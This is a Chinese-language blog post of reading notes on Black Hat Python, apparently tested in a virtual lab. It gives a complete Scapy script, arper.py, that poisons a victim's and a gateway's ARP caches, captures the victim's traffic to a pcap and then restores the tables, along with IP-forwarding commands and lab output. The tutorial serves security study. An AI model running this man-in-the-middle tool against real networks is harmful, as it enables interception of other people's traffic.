黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第四章 使用SCAPY掌控网络(2)Scapy实现ARP缓存投毒

发布于:2022-11-29 ⋅ 阅读:(231) ⋅ 点赞:(0)

黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第四章 使用SCAPY掌控网络(2)Scapy实现ARP缓存投毒



写在前面

ARP中毒是黑客工具箱中最古老但最有效的伎俩之一。原理很简单,我们将使得目标机器相信我们的机器已经成为它的网关;我们还将说服网关,为了到达目标机器,所有流量都必须经过我们。网络上的每台计算机都维护一个ARP缓存,该缓存存储与本地网络上的IP地址匹配的最新MAC(介质访问控制)地址。我们将使用我们控制的条目毒害此缓存以实现此攻击。由于地址解析协议和ARP中毒一般都包含在许多资料中,请读者们自行研究,以了解这种攻击在底层是如何工作的。
现在我们知道了需要做什么,接下来我们将付诸实践。原书中,从Kali 虚拟机攻击了一台真正的Mac机器,并且针对连接到无线接入点的各种移动设备进行了测试,据说效果很好。下面要做的第一件事是检查目标Mac计算机上的ARP缓存,以便可以在稍后看到正在进行的攻击。执行以下内容以了解如何检查Mac上的ARP缓存:
说明:我这里用linux mint虚拟机代替,因此将原书中的命令“ipconfig en0”中的网卡别名换成我机器的实际网络别名,如下图。
在这里插入图片描述
ifconfig命令显示指定网络接口(原书是en0,我用的是ens33)的网络配置,如果没有指定,则显示所有接口的网络配置。输出显示设备的inet(IPv4)地址192.168.65.139。还列出了MAC地址(00:0c:29:44:02:e4,标记为ether)和一些IPv6地址。ARP中毒只对IPv4有效,因此我们将忽略IPv6相关的内容。
现在让我们看看Mac的ARP地址缓存中有什么(这类同样用的是linux mint虚拟机,后续所有跟mac相关的,都会用linux mint替代,除非有特别说明)。以下显示了它认为的网络上的邻居的MAC:
在这里插入图片描述
我们需要关注这些IP地址和MAC地址值,因为我们可以在攻击发生时查看ARP缓存,并查看我们是否更改了网关的注册MAC地址。

编写ARP投毒脚本

现在我们知道了网关和目标IP地址,让我们开始编写ARP投毒脚本。打开一个新的Python文件,命名为arper.py,并输入以下代码。我们将从截取文件的骨架开始,让您了解将如何进行投毒:

from multiprocessing import Process
from scapy.all import ARP, Ether, conf, get_if_hwaddr, send, sniff, sndrcv, srp, wrpcap
import os
import sys
import time

def get_mac(targetip):
    pass

class Arper:
    def __init__(self, victim, gateway, interface='eth0'):
        pass

    def run(self):
        pass

    def poison(self):
        pass

    def sniff(self, count=200):
        pass

    def restore(self):
        pass

if __name__ == '__main__':
    (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
    myarp = Arper(victim, gateway, interface)
    myarp.run()

如你所见,我们将定义一个helper函数来获取任何给定机器的MAC地址,并定义一个Arper类来毒害、嗅探和恢复网络设置。接下来我们将填充每个部分。

get_mac函数

get_mac函数返回给定IP地址的MAC地址,因为我们需要受害者机器和网关的MAC地址。代码如下:

def get_mac(targetip):
    packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
    resp, _ = srp(packet, timeout=2, retry=10, verbose=False)
    for _, r in resp:
        return r[Ether].src
    return None

我们传入目标IP地址并创建一个数据包。Ether函数指示要广播该数据包,ARP函数指示MAC地址请求,询问每个节点是否具有目标IP。我们使用Scapy函数srp发送数据包,该函数在网络2层上发送和接收数据包。我们在resp变量中获得答案,该变量应包含目标IP的以太网层的源(MAC地址)。

Arper类

接下来我们将实现Arper类,代码如下:

class Arper:
    def __init__(self, victim, gateway, interface='eth0'):
        self.victim = victim
        self.victimmac = get_mac(victim)
        self.gateway = gateway
        self.gatewaymac = get_mac(gateway)
        self.interface = interface
        conf.iface = interface
        conf.verb = 0
        print(f'Initialized {interface}:')
        print(f'Gateway ({gateway}) is at {self.gatewaymac}.')
        print(f'Victim ({victim}) is at {self.victimmac}.')
        print('_'*30)

我们用受害者与网关的IP初始化类,并指定要使用的以太网接口(en0是默认值)。利用此信息,我们填充Arper对象的变量interface、victim、victimmac、gateway和gatewaymac,并将对应的值打印到控制台。

run函数

在Arper类中,我们还设置了run函数,这是攻击的切入点:

    def run(self):
        self.poison_thread = Process(target=self.poison)
        self.poison_thread.start()

        self.sniff_thread = Process(target=self.sniff)
        self.sniff_thread.start()

run方法执行Arper对象的主要工作。它设置并运行两个进程:一个用于向ARP缓存投毒,另一个通过嗅探网络流量来监视正在进行的攻击。

投毒函数

投毒方法创建中毒的数据包并将其发送给受害者和网关:

    def poison(self):
        poison_victim = ARP()
        poison_victim.op = 2
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victimmac
        print(f'ip src: {poison_victim.psrc}')
        print(f'ip dst: {poison_victim.pdst}')
        print(f'mac_dst: {poison_victim.hwdst}')
        print(f'mac_src: {poison_victim.hwsrc}')
        print(poison_victim.summary())
        print('_'*30)

        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = self.victim
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gatewaymac

        print(f'ip src: {poison_gateway.psrc}')
        print(f'ip dst: {poison_gateway.pdst}')
        print(f'mac_dst: {poison_gateway.hwdst}')
        print(f'mac_src: {poison_gateway.hwsrc}')
        print(poison_gateway.summary())
        print('_'*30)
        print(f'Beginning the ARP poison. [CTRL-C to stop]')
        while True:
            sys.stdout.write('.')
            sys.stdout.flush()
            try:
                send(poison_victim)
                send(poison_gateway)
            except KeyboardInterrupt:
                self.restore()
                sys.exit()
            else:
                time.sleep(2)

poison方法设置我们将用于毒害受害者和网关的数据。首先,我们为受害者创建了一个中毒的ARP数据包。同样,我们也为网关创建了一个中毒的ARP数据包。我们通过向网关发送包含受害者的IP地址绑定攻击者的MAC地址的数据包来毒害网关。同样,我们通过向受害者发送网关的IP地址绑定攻击者的MAC地址来毒害受害者。我们将所有这些内容打印到控制台,以便确定数据包的目的地和有效载荷。
说明:这正是通过ARP中毒实现MITM攻击的基本原理,一方面让网关认为发起攻击的主机就是受害机器,另一方让受害机器认为发起攻击的主机就是网关;发起攻击的机器成功接管了网关和受害者主机之间的通信。
接下来,我们开始无限循环地将中毒数据包发送到它们的目的地,以确保在攻击期间,各个ARP缓存条目保持在中毒状态。在按下CTRL-C(键盘中断)之前,循环会一直运行。之后,我们将通过向受害者和网关发送正确的信息,解除ARP中毒状态。

嗅探函数

为了在攻击发生时查看和记录攻击相关的信息,我们使用sniff方法嗅探网络的流量:

    def sniff(self, count=200):
        time.sleep(5)
        print(f'Sniffing {count} packets')
        bpf_filter = 'ip host %s' % victim
        packets = sniff(count=count, filter=bpf_filter, iface=self.interface)
        wrpcap('arper.pcap', packets)
        print('Go the packets')
        self.restore()
        self.poison_thread.terminate()
        print('Finished.')

sniff方法在开始嗅探之前会休眠五秒钟,以便给中毒线程时间来开始工作。Sniff方法嗅探大量数据包(默认情况下为100),并过滤具有受害者IP的数据包。捕获数据包后,我们将其写入一个名为arper.pcap的文件,然后将ARP表恢复到其原始状态,并终止有害线程。

restore方法

最后,restore方法通过向每台机器发送正确的ARP信息,将受害者和网关恢复到其原始状态:

    def restore(self):
        print('Restoring ARP tables...')
        send(ARP(
            op = 2,
            psrc = self.gateway,
            hwsrc = self.gatewaymac,
            pdst = self.victim,
            hwdst = 'ff:ff:ff:ff:ff:ff'),
            count = 5)
        send(ARP(
            op = 2,
            psrc = self.victim,
            hwsrc = self.victimmac,
            pdst = self.gateway,
            hwdst = 'ff:ff:ff:ff:ff:ff'),
            count = 5)

说明:我们也可以从poison方法(如果您点击CTRL-C)或sniff方法(当捕获了指定数量的数据包时)调用restore方法。Restore方法向受害者发送网关IP和MAC地址的原始值,并向网关发送受害者IP和MAC的原始值。
接下来,我们将会运行这段邪恶的代码。

小试牛刀

准备工作

在开始之前,我们需要首先告诉本地主机,我们可以将数据包转发到网关和目标IP地址。如果是在Kali VM上,请在终端中输入以下命令(注意:这里是在root用户下执行,否则就算在kali用户下使用sudo也会提示权限不够):

#:> echo 1 > /proc/sys/net/ipv4/ip_forward

如果是在苹果mac上,使用如下的命令(该命令我没有验证)。

#:> sudo sysctl -w net.inet.ip.forwarding=1

现在我们已经完成了IP转发,让我们启动脚本并检查目标主机的ARP缓存。
接下来,我们将验证脚本对受害者机器攻击的效果。为了进行对比,先在受害者机器(192.168.65.139)上查看一下当前的arp列表,如下图。
在这里插入图片描述
可以看到,受害者机器上的网关IP绑定的MAC地址是00:50:56:e7:73:7f。顺便,我们看一下攻击发起主机(kali)上的arp列表,如下图。
在这里插入图片描述
然后查看一下kali主机的MAC地址,如下图。
在这里插入图片描述

运行脚本发起投毒

从发起攻击的机器(kali)上运行以下命令(以root用户身份,具体kali如何进入root用户,问问度娘吧):

#:> python arper.py 192.168.65.139 192.168.65.2 eth0

惊讶于没有错误或其它奇怪之处,如下图。
在这里插入图片描述

查看中毒效果

趁着脚本正在捕获200个数据包时,我们用ARP命令在受害者机器(192.168.65.139)上查看中毒后的ARP表(预期现象:网关地址192.168.65.2的MAC地址变成了kali主机的MAC地址00:0c:29:e3:5f:d5),如下图所示,跟预期结果一致:
在这里插入图片描述
现在可以看到,可怜的受害者(192.168.65.139)现在有一个中毒的ARP缓存,而网关现在有与发起攻击的计算机(192.168.65.141)相同的MAC地址。可以在网关上方的条目中清楚地看到我从192.168.65.141开始攻击的内容。当攻击完成捕获数据包时,我们应该会看到一个arper.pcap文件与脚本位于同一目录中。当然,我们可以执行一些操作,例如强制目标计算机通过Burp的本地实例代理其所有流量,或者执行任何其他讨厌的操作。你可能想在pcap处理的下一节中继续使用该pcap文件,你永远不知道会找到什么!
说明:细心地读者可能已经看到了,中毒之后,受害的linux主机上的arp里面中多了一条记录,并且多出来的一条记录和网关地址指向了同一个MAC地址,看来在linux下要想识别ARP中毒还是挺容易的(也许是我无知者无畏吧)。
一段时间(还挺长的,二三十分钟吧,主要是我没有在受害者机器上进行网络访问,否则应该很快就抓满200个包)之后,arper脚本执行正常结束,如下图。
在这里插入图片描述
从上图的输出可以看出,真实的ARP数据被restore过了,那预期情况下,受害者linux主机(192.168.65.139)上的arp列表应该也回复到正常了(网关地址192.168.65.2绑定MAC地址00:50:56:e7:73:7f),查看一下,确实如此,如下图。
在这里插入图片描述

环境恢复

注意,运行结束后,通过如下的命令修改kali主机的ip_forwarding配置项为原来的值,然后退出root权限,如下图所示。

# echo 0 > /proc/sys/net/ipv4/ip_forward

在这里插入图片描述
这一章节就到此为止吧,下一章节中将会展示更加有趣的内容。

本文含有隐藏内容,请 开通VIP 后查看